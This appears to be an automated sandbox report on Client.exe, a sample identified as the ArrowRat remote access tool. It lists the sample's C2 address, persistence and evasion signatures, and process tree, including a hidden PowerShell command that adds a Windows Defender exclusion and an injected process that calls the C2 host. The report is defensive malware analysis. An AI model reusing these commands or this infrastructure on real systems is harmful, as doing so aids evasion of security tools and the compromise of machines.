Overview

overview

10

Static

static

10

Client.exe

windows10-2004-x64

10

Client.exe

windows11-ltsc_2024-x64

10

Analysis

  • user interaction
    yes
  • max time kernel
    149s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    09/08/2026, 23:26

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General

  • Target
    Client.exe
  • Size 157KB
  • Sample260809-3e1bgsxdjd
  • SHA256 f902c427484c65c3bcd1543072e4c53da376a7ba6151fb6d1ccd990bb7a94be2
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
clientdiscoveryexecutionarrowratpersistenceransomwarerat

Malware Config

Extracted

Family

  • arrowrat

Botnet

  • Client

C2

  • 194.ip.ply.gg:54552

Mutex

  • oWzurbWMF

Signatures

  • Family: ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

    ratarrowrat
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
    persistence
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 28 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 43 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\Client.exe
    "C:\Users\Admin\AppData\Local\Temp\Client.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3788
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:3276
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 194.ip.ply.gg 54552 oWzurbWMF
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3172
    • C:\Windows\System32\ComputerDefaults.exe
      "C:\Windows\System32\ComputerDefaults.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2332
      • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
        "PowerShell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\ClTTUeEWx\Client'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1096
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:2100
  • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
    "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:3656

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        AppCache134307916033112208.txt
        • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache134307916033112208.txt
        • Size 86KB
        • SHA256 a1e5665489dc180db02a3f7c42e470e85c96eccbd348d455de63af3bb4df10f3
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        __PSScriptPolicyTest_nwz1fhsd.1xz.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nwz1fhsd.1xz.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/1096-21-0x00000203FE5C0000-0x00000203FE5E2000-memory.dmp
        Download

        memory/3172-5-0x0000000005DA0000-0x0000000006344000-memory.dmp
        Download

        memory/3172-3-0x0000000005420000-0x00000000054B2000-memory.dmp
        Download

        memory/3172-1-0x0000000000400000-0x0000000000418000-memory.dmp
        Download

        memory/3172-6-0x0000000005C20000-0x0000000005C86000-memory.dmp
        Download

        memory/3172-10-0x00000000064E0000-0x0000000006530000-memory.dmp
        Download

        memory/3172-4-0x00000000054C0000-0x000000000555C000-memory.dmp
        Download

        memory/3276-24-0x00000000024C0000-0x00000000024C1000-memory.dmp
        Download

        memory/3656-26-0x0000028449100000-0x0000028449200000-memory.dmp
        Download

        memory/3656-31-0x000002844A2A0000-0x000002844A2C0000-memory.dmp
        Download

        memory/3656-55-0x000002844A260000-0x000002844A280000-memory.dmp
        Download

        memory/3656-62-0x000002844A670000-0x000002844A690000-memory.dmp
        Download

        memory/3788-0-0x0000000000FA0000-0x0000000000FCC000-memory.dmp
        Download

        memory/3788-178-0x000000001BBE0000-0x000000001BBF0000-memory.dmp
        Download

        memory/3788-7-0x000000001BBE0000-0x000000001BBF0000-memory.dmp
        Download